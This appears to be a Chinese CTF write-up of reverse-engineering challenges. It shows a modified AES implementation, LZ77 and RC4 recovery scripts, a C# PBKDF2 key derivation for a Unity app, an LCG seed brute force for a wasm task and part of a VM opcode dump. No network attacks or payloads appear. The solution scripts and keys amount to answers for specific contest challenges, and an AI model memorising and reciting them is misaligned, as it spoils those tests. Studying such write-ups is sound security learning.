116, 99, 197, 184, 215, 188, 113, 119, 78, 199, 239, 22, 159, 166, 180, 36, 23, 97, 70, 167, 32, 150, 40, 153, 154, 3, 158, 233, 63, 161, 122, 205, 142, 138, 164, 7, 80
};

uint8_t aes_sub_sbox(uint8_t val)
{
return g_aes_sbox[val];
}

uint32_t aes_sub_dword(uint32_t val)
{
uint32_t tmp = 0;

tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 0) & 0xFF))) << 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 8) & 0xFF))) << 8;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;

return tmp;
}

uint32_t aes_rot_dword(uint32_t val)
{
uint32_t tmp = val;

return (val >> 8) | ((tmp & 0xFF) << 24);
}

uint32_t aes_swap_dword(uint32_t val)
{
return (((val & 0x000000FF) << 24) |
((val & 0x0000FF00) << 8) |
((val & 0x00FF0000) >> 8) |
((val & 0xFF000000) >> 24) );
}

void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;

for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < g_aes_nb[mode] - i; j++) {
uint8_t tmp = s[i];
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}

/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8))
*/

void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
uint32_t *w = (uint32_t *)round;
uint32_t t;
int i = 0;

printf("Key Expansion:\n");
do {
w[i] = *((uint32_t *)&key[i * 4 + 0]);
printf(" %2.2d: rs: %8.8x\n", i, aes_swap_dword(w[i]));
} while (++i < g_aes_nk[mode]);

do {
printf(" %2.2d: ", i);
if ((i % g_aes_nk[mode]) == 0) {
t = aes_rot_dword(w[i - 1]);
printf(" rot: %8.8x", aes_swap_dword(t));
t = aes_sub_dword(t);
printf(" sub: %8.8x", aes_swap_dword(t));
printf(" rcon: %8.8x", g_aes_rcon[i/g_aes_nk[mode] - 1]);
t = t ^ aes_swap_dword(g_aes_rcon[i/g_aes_nk[mode] - 1]);
printf(" xor: %8.8x", t);
} else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
t = aes_sub_dword(w[i - 1]);
printf(" sub: %8.8x", aes_swap_dword(t));
} else {
t = w[i - 1];
printf(" equ: %8.8x", aes_swap_dword(t));
}
w[i] = w[i - g_aes_nk[mode]] ^ t;
printf(" rs: %8.8x\n", aes_swap_dword(w[i]));
} while (++i < g_aes_nb[mode] * (g_aes_rounds[mode] + 1));

/* key can be discarded (or zeroed) from memory */
}

void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,
uint8_t *round, int nr)
{
uint32_t *w = (uint32_t *)round;
uint32_t *s = (uint32_t *)state;
int i;

for (i = 0; i < g_aes_nb[mode]; i++) {
s[i] ^= w[nr * g_aes_nb[mode] + i];
}
}

void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
}
}
}

void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;

for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < i; j++) {
uint8_t tmp = s[i];
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}

uint8_t aes_xtime(uint8_t x)
{
return ((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}

uint8_t aes_xtimes(uint8_t x, int ts)
{
while (ts-- > 0) {
x = aes_xtime(x);
}

return x;
}

uint8_t aes_mul(uint8_t x, uint8_t y)
{
/*
* encrypt: y has only 2 bits: can be 1, 2 or 3
* decrypt: y could be any value of 9, b, d, or e
*/

return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^
(((y >> 1) & 1) * aes_xtimes(x, 1)) ^
(((y >> 2) & 1) * aes_xtimes(x, 2)) ^
(((y >> 3) & 1) * aes_xtimes(x, 3)) ^
(((y >> 4) & 1) * aes_xtimes(x, 4)) ^
(((y >> 5) & 1) * aes_xtimes(x, 5)) ^
(((y >> 6) & 1) * aes_xtimes(x, 6)) ^
(((y >> 7) & 1) * aes_xtimes(x, 7)) );
}

void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2};
uint8_t s[4];
int i, j, r;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}


void aes_dump(char *msg, uint8_t *data, int len)
{
int i;

printf("%8.8s: ", msg);
for (i = 0; i < len; i++) {
printf(" %2.2x", data[i]);
}
printf("\n");
}

int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */

int nr, i, j;

/* key expansion */
aes_key_expansion(mode, key, w);

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

printf("Encrypting block at %u ...\n", i);

/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];

/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {

printf(" Round %d:\n", nr);
aes_dump("input", s, 4 * g_aes_nb[mode]);

if (nr > 0) {

/* do SubBytes */
aes_sub_bytes(mode, s);
aes_dump(" sub", s, 4 * g_aes_nb[mode]);

/* do ShiftRows */
aes_shift_rows(mode, s);
aes_dump(" shift", s, 4 * g_aes_nb[mode]);

if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
}

/* do ShiftRows */
fuck_shift_rows(mode, s);
aes_dump(" shift", s, 4 * g_aes_nb[mode]);
}

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);
aes_dump(" state", s, 4 * g_aes_nb[mode]);
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
printf("Output:\n");
aes_dump("cypher", &data[i], 4 * g_aes_nb[mode]);
}

return 0;
}

int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_encrypt(mode, data, len, key);
}

int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
uint8_t v[4 * 4] = {0}; /* iv */

int nr, i, j;


/* key expansion */
aes_key_expansion(mode, key, w);

memcpy(v, iv, sizeof(v));

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j] ^ v[j];

/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {

aes_dump("input", s, 4 * g_aes_nb[mode]);

if (nr > 0) {

/* do SubBytes */
aes_sub_bytes(mode, s);
aes_dump(" sub", s, 4 * g_aes_nb[mode]);

/* do ShiftRows */
aes_shift_rows(mode, s);
aes_dump(" shift", s, 4 * g_aes_nb[mode]);

if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
}
}

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);
aes_dump(" state", s, 4 * g_aes_nb[mode]);
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = v[j] = s[j];
}

return 0;
}



uint8_t inv_sub_sbox(uint8_t val)
{
return g_inv_sbox[val];
}


void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);
}
}
}

void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09, 0x09, 0x0e, 0x0b, 0x0d,
0x0d, 0x09, 0x0e, 0x0b, 0x0b, 0x0d, 0x09, 0x0e};
uint8_t s[4];
int i, j, r;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}

int aes_decrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */

int nr, i, j;

/* key expansion */
aes_key_expansion(mode, key, w);

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

printf("Decrypting block at %u ...\n", i);

/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];

/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {

printf(" Round %d:\n", nr);
aes_dump("input", s, 4 * g_aes_nb[mode]);

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);


if (nr > 0) {
/* do ShiftRows */
aes_dump(" shift", s, 4 * g_aes_nb[mode]);
inv_shift_rows(mode, s);

if (nr < g_aes_rounds[mode]) {
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
/* do MixColumns */
inv_mix_columns(mode, s);
}

/* do ShiftRows */
aes_dump(" shift", s, 4 * g_aes_nb[mode]);
inv_shift_rows(mode, s);

/* do SubBytes */
aes_dump(" sub", s, 4 * g_aes_nb[mode]);
inv_sub_bytes(mode, s);
}

aes_dump(" state", s, 4 * g_aes_nb[mode]);
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
printf("Output:\n");
aes_dump("plain", &data[i], 4 * g_aes_nb[mode]);
}

return 0;
}

int aes_decrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_decrypt(mode, data, len, key);
}

int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
uint8_t v[4 * 4] = {0}; /* iv */


int nr, i, j;

/* key expansion */
aes_key_expansion(mode, key, w);

memcpy(v, iv, sizeof(v));

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {


/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];

/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {

aes_dump("input", s, 4 * g_aes_nb[mode]);

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);


if (nr > 0) {

if (nr < g_aes_rounds[mode]) {
aes_dump(" mix", s, 4 * g_aes_nb[mode]);
/* do MixColumns */
inv_mix_columns(mode, s);
}

/* do ShiftRows */
aes_dump(" shift", s, 4 * g_aes_nb[mode]);
inv_shift_rows(mode, s);

/* do SubBytes */
aes_dump(" sub", s, 4 * g_aes_nb[mode]);
inv_sub_bytes(mode, s);
}

aes_dump(" state", s, 4 * g_aes_nb[mode]);
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++) {
uint8_t p = s[j] ^ v[j];
v[j] = data[i + j];
data[i + j] = p;
}
}

return 0;
}

void aes_cypher_128_test()
{
#if 1
uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
#else
uint8_t buf[] = { 0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d,
0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34 };
uint8_t key[] = { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c };
#endif
printf("\nAES_CYPHER_128 encrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key);

printf("\nAES_CYPHER_128 decrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key);
}

void aes_cypher_192_test()
{
uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17 };
printf("\nAES_CYPHER_192 encrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
aes_encrypt(AES_CYPHER_192, buf, sizeof(buf), key);

printf("\nAES_CYPHER_192 decrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key);
}

void aes_cypher_256_test()
{
uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f};
printf("\nAES_CYPHER_256 encrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
aes_encrypt(AES_CYPHER_256, buf, sizeof(buf), key);

printf("\nAES_CYPHER_256 decrypt test case:\n");
printf("Input:\n");
aes_dump("data", buf, sizeof(buf));
aes_dump("key ", key, sizeof(key));
aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key);
}

int main(){
uint8_t buf[] = { 0xF2,0x65,0x12,0xF9,0x2F,0x64,0x28,0x7D,0xC0,0xD0,0x45,0x5B,0x25,0xDA,0x24,0x15,0xA6,0x9C,0x1D,0xAC,0x85,0x42,0xAB,0x28,0xD3,0x4C,0x2C,0x75,0xDC,0xDA,0x30,0xC7 };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
uint8_t test[] = {0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61};
aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key);
aes_dump("data", buf, sizeof(buf));
aes_encrypt(AES_CYPHER_128, test, sizeof(test), key);
aes_dump("test", test, sizeof(test));
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#ifdef __cplusplus
extern "C" {
#endif

typedef enum {
AES_CYPHER_128,
AES_CYPHER_192,
AES_CYPHER_256,
} AES_CYPHER_T;

#ifdef _MSC_VER
#if _MSC_VER >= 1600
#include <cstdint>
#else
typedef __int8 int8_t;
typedef __int16 int16_t;
typedef __int32 int32_t;
typedef __int64 int64_t;
typedef unsigned __int8 uint8_t;
typedef unsigned __int16 uint16_t;
typedef unsigned __int32 uint32_t;
typedef unsigned __int64 uint64_t;
#endif
#elif __GNUC__ >= 3
#include <cstdint>
#endif

int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key);
int aes_decrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key);
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv);
int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv);

#ifdef __cplusplus
};
#endif

痛苦至极啊.jpg

2.6. r_zip

LZ77的滑动窗口算法,不太熟,看起来原理不难写起来也确实简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
with open("out1.z",'rb') as f:enc = f.read()

flag = ""
idx = 0

while idx < len(enc):
if enc[idx] & 0x80 == 0:
flag += chr(enc[idx])
idx += 1
else:
offset = ((enc[idx]&0x7F)<<4) | ((enc[idx+1]&0xF0)>>4)
length = enc[idx+1]&0xF
start = len(flag)
for i in range(length):
flag += flag[start-offset+i]
idx += 2

with open('out','w') as f:f.write(flag)

2.7. r_png

RC4加解密一体,直接爆破。

1
2
3
4
5
6
7
8
9
10
from itertools import product
import string
import os

for i in product(string.digits,repeat=4):
i = "".join(i)
print(i)
os.system(f'./enc flagpngenc {i}')
with open('./flagpngenc.rc4','rb') as f:png = f.read()
if( b'\x89PNG' in png):break

2.8. catPwd

拿到压缩包,解压路径可以直接运行程序获得。

接下来是解密过程,il2cpp的过程直接省略,和前面的没啥区别。

加密逻辑的入口在LoginController__OnLoginButtonClick里,用户名和密码加密后存PlayerPrefs里了。

在StringLiteral_8028处能看到加密的密钥。

但是这个加密也是被魔改的,他把AES-CBC和HMAC-SHA256结合在一起,最后把IV,HMAC,密文共同保存在结果中。

AES加密的密钥在Aes256__Encrypt_30806016函数中有所设置,用的是256长度的成员变量_key作为密钥。

加密模式1也能从C#文档中查到是CBC模式。

其中_key是在Aes256构造函数中赋值的,由System_Security_Cryptography_Rfc2898DeriveBytes密钥派生而来,其中masterKey为用户输入的密钥,Salt在Aes256的类初始化函数中赋值。参数50000指迭代次数,0指默认哈希函数SHA1。

而Salt初始化不知道为什么静态看不到,只能在System_Security_Cryptography_Rfc2898DeriveBytes构造的时候下断点看。

如图,Salt并不是如IDA所示的1DB2开头的字节数组。

实际上是另一串字节序列,其原理暂时不详。

1
2
BF EB 1E 56 FB CD 97 3B  B2 19 02 24 30 A5 78 43
00 3D 56 44 D2 1E 62 B9 D4 F1 80 E7 E6 C3 39 41

而想调试System_Security计算结果也都失败了,调试的时候会陷入Power failure restart中断循环,暂时也没解决办法。

其复制参数在CyberChef上也无法正确派生出密钥,其原因也不详。最终编写C#程序成功算出正确的密钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
using System;
using System.Security.Cryptography;
using System.Text;

class Program
{
static void Main()
{
// 输入参数
string password = "aeskey1234567890";
byte[] salt = { 0xbf, 0xeb, 0x1e, 0x56, 0xfb, 0xcd, 0x97, 0x3b, 0xb2, 0x19, 0x02, 0x24, 0x30, 0xa5, 0x78, 0x43, 0x00, 0x3d, 0x56, 0x44, 0xd2, 0x1e, 0x62, 0xb9, 0xd4, 0xf1, 0x80, 0xe7, 0xe6, 0xc3, 0x39, 0x41 };
int iterations = 50000;
int keyLength = 32; // 32 bytes = 256-bit

// PBKDF2
using (var pbkdf2 = new Rfc2898DeriveBytes(
password,
salt,
iterations,
HashAlgorithmName.SHA1
))
{
byte[] key = pbkdf2.GetBytes(keyLength);

Console.WriteLine("Derived key:");
Console.WriteLine(BitConverter.ToString(key).Replace("-", " "));
}
}
}

最终用CyberChef来AES解密获得flag,其中密文URL Decode,Base64解码后前16个字节是IV,后面是密文,解密之后前32字节是HMAC,后面是加密的信息。

2.9. 是人类吗?

wasm,用wasm2ida这个项目可以编译成二进制然后拖IDA里看,但是效果一般聊胜于无。但是也不是一点用没有,好歹看出来了flag是靠LCG伪随机数异或加密的。

但是由于gcc编译的时候编的32位程序,int64看的比较难看,但是知道大框后WABT出的C代码看着就好看多了。

这里两个大数就是伪随机数的两个参数,至于随机数种子还得往上看。

IDA里能看到随机数种子是几个数异或而来,但是IDA因为有宏展开看着比较乱,但是知道是异或后就能去看C代码了。

但是伪C代码会清晰很多,能看到就是4个DWORD数拼接成的uint64数。能看到C代码有清楚的或操作和左位移,因此能知道爆破的随机数种子生成方法。

至于加密的flag,从C代码里扒出来.wasm_data数据段就行了,得到代码如下,先爆破种子,然后得出全部的flag。

因为数据跑的时间有点长(反正1h内肯定能跑完),因此就把爆破的逻辑和flag解密的逻辑分开写了,写的有点丑,又不是不能用(大雾)。

跑完数据最后按照题目把几个值一加,算算md5就完事了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

'''
for i in product(range(0x100),repeat=4):
seed = i[0] | i[1]<<16 | i[2]<<32 | i[3]<<48
_seed = seed
flag = b''
for idx in range(6):
seed = (6364136223846793005 * seed + 1442695040888963407)&((1<<64)-1)
flag += bytes([buffer[0x400+idx]^(seed>>56)])
if flag[idx] != b'UniCTF'[idx]:break
if b'UniCTF' in flag: print(f"{_seed:016x}:{flag}")
'''

flag = b''
seed = 0x0014000f0058002a
for idx in range(46):
seed = (6364136223846793005 * seed + 1442695040888963407)&((1<<64)-1)
flag += bytes([buffer[0x400+idx]^(seed>>56)])
print(flag)

2.10. ezVM

题目下线了(悲),白干一天。

最后是个32字节爆破,虽然有剪枝但是爆破空间还是太大了。每4个字符为1组爆破,但是每组都有特别多的解(大概6w个解),因为又有8层左右的深度(前面的6w再pow个8),搜索的空间就广的离谱。

总之把题目整理出来的虚拟机,Z3代码,和还原的C代码整理一下发出来好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from hashlib import sha256
from struct import unpack
import logging

logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] %(message)s')

xor_key = sha256(b'UnicornVM_Secret_Key_2026_CTF!!!').digest()

decrypt = lambda enc:bytes(xor_key[i&0x1F]^((i*7)&0xFF)^enc[i] for i in range(len(enc)))

opcode = [0xB, 0x17, 0x1C, 0x88, 0xBF, 0xD2, 0xBB, 0x80, 0xC5, 0x3D, 0x6F, 0x32, 0xBB, 0xD1, 0x6D, 0x63, 0x58, 0xD4, 0x9C, 0xBA, 0x57, 0x38, 0xC7, 0xE4, 0x9E, 0x27, 0xAE, 0x8C, 0xFA, 0x16, 0xF0, 0x4F, 0xFF, 0xF7, 0xF, 0xB1, 0xE2, 0x6D, 0x5D, 0x4C, 0x2F, 0xC5, 0xE2, 0xED, 0x76, 0x6F, 0x46, 0x42, 0x7A, 0xF1, 0xBD, 0x58, 0xB7, 0xD8, 0x27, 0xC4, 0xBB, 0x3, 0x8F, 0xAE, 0x98, 0x73, 0x92, 0x29, 0xDE, 0xD2, 0x2A, 0x93, 0xC0, 0x8B, 0x5, 0x15, 0x31, 0xED, 0x2E, 0x71, 0xFA, 0x90, 0x2C, 0x20, 0x1B, 0x95, 0xDC, 0x7A, 0x97, 0xF8, 0x7, 0x24, 0x5B, 0xE6, 0x6B, 0x4F, 0xBF, 0x52, 0xB0, 0x8, 0xAE, 0xA1, 0x4F, 0xF5, 0xA4, 0xA9, 0x26, 0x88, 0xAB, 0x31, 0x7, 0x7C, 0xA5, 0xDC, 0xD2, 0xB, 0x3A, 0xB7, 0xF9, 0x1B, 0xF5, 0x99, 0x67, 0x4, 0x7B, 0xC3, 0x4F, 0x6E, 0x5D, 0xB0, 0x55, 0xEA, 0x88, 0x80, 0x6A, 0xD0, 0x86, 0xCB, 0x40, 0x50, 0x73, 0xAE, 0xEF, 0xB3, 0x3A, 0x53, 0xED, 0xE1, 0xD9, 0x54, 0x1C, 0x3A, 0xD7, 0xB8, 0x42, 0x60, 0x1A, 0xA1, 0x28, 0xD, 0x7E, 0x91, 0x66, 0xC8, 0x69, 0x73, 0x8D, 0x33, 0xDD, 0x52, 0x9D, 0xBC, 0xBE, 0x31, 0x20, 0xD, 0x51, 0x32, 0xCF, 0xC4, 0xF8, 0x76, 0x3E, 0xDA, 0x37, 0x58, 0xA7, 0x44, 0x3B, 0x83, 0xA, 0x28, 0x1C, 0xF7, 0x7, 0xAD, 0x4C, 0x51, 0xAF, 0x15, 0x45, 0xA, 0x82, 0x95, 0xB1, 0x6E, 0xAF, 0xF2, 0x7B, 0x11, 0xAC, 0xA1, 0x99, 0x14, 0x5C, 0xFF, 0x13, 0x79, 0x85, 0xA3, 0xD8, 0x60, 0xEB, 0xDB, 0x3E, 0xD6, 0x34, 0x8A, 0x2F, 0x8A, 0x76, 0x88, 0xE9, 0xC7, 0x1D, 0x1B, 0x4F, 0x45, 0x4E, 0x10, 0x9E, 0xF0, 0x8E, 0x82, 0xB9, 0x34, 0x7C, 0x9A, 0x77, 0x18, 0xE7, 0x81, 0xFD, 0x42, 0xCD, 0xFA, 0xDB, 0x33, 0xD6, 0x68, 0x9, 0x12, 0xEE, 0x57, 0x7, 0x48, 0xC2, 0xD4, 0xF0, 0x2F, 0x6D, 0x33, 0xBB, 0xD1, 0x6C, 0x61, 0x5C, 0xD0, 0x9D, 0xB8, 0x50, 0x3B, 0xC4, 0xE0, 0x8E, 0x20, 0xAC, 0x89, 0xFC, 0x10, 0x4D, 0xF1, 0x14, 0x3E, 0xE3, 0x8, 0x4E, 0xB6, 0xE9, 0xF5, 0xD2, 0xA, 0xC, 0x51, 0xDF, 0xB1, 0x4C, 0x41, 0x79, 0xF4, 0xBC, 0x5A, 0xB2, 0xDE, 0x26, 0xC6, 0xAF, 0x5, 0x89, 0xAB, 0x9E, 0x76, 0x95, 0x28, 0xCB, 0xD6, 0x2F, 0x94, 0xC2, 0x8D, 0x3, 0x17, 0x33, 0xEE, 0x2D, 0x73, 0xFB, 0x91, 0x2C, 0x21, 0x19, 0x91, 0xD8, 0x7B, 0x95, 0xFF, 0x4, 0x27, 0x5F, 0xF6, 0x6C, 0x4D, 0xBA, 0x54, 0xB6, 0xB5, 0x10, 0x4A, 0x86, 0x19, 0x1D, 0x5, 0xFD, 0x3C, 0x12, 0xCC, 0xC8, 0x92, 0x19, 0x74, 0xC, 0x1, 0x39, 0xB4, 0xFC, 0x1A, 0xF7, 0x9D, 0x61, 0x5, 0x79, 0xD7, 0x49, 0x68, 0x58, 0xB6, 0x50, 0xED, 0x88, 0x95, 0x6A, 0xD6, 0x82, 0xCA, 0x42, 0x56, 0x71, 0xAF, 0xED, 0xB3, 0x3B, 0x51, 0xE9, 0xE5, 0xD8, 0x56, 0x1B, 0x39, 0xD4, 0xBC, 0x52, 0x67, 0x18, 0xA4, 0x2E, 0xB, 0xC3, 0x2F, 0x8D, 0x1, 0x85, 0xCA, 0x21, 0xE8, 0x69, 0xEB, 0x60, 0x73, 0x50, 0x8D, 0x8B, 0xD3, 0x5B, 0x31, 0xCC, 0xC1, 0xF9, 0x74, 0x39, 0xDC, 0x36, 0x5A, 0xB3, 0x42, 0x3D, 0x86, 0xC, 0x2D, 0x1B, 0xF7, 0x12, 0xAC, 0x4A, 0x55, 0xAE, 0x17, 0x43, 0x8, 0x83, 0x96, 0xB1, 0x6F, 0xAD, 0xF6, 0x7F, 0x10, 0xAE, 0xA6, 0x9A, 0x17, 0x58, 0xEF, 0x14, 0x7B, 0x80, 0xA5, 0xDE, 0xDD, 0x55, 0x30, 0xF7, 0x3A, 0x8D, 0x26, 0xF4, 0x3E, 0xCF, 0x75, 0x26, 0x29, 0xA1, 0xB1, 0x91, 0x4F, 0x4D, 0x13, 0x9B, 0xF1, 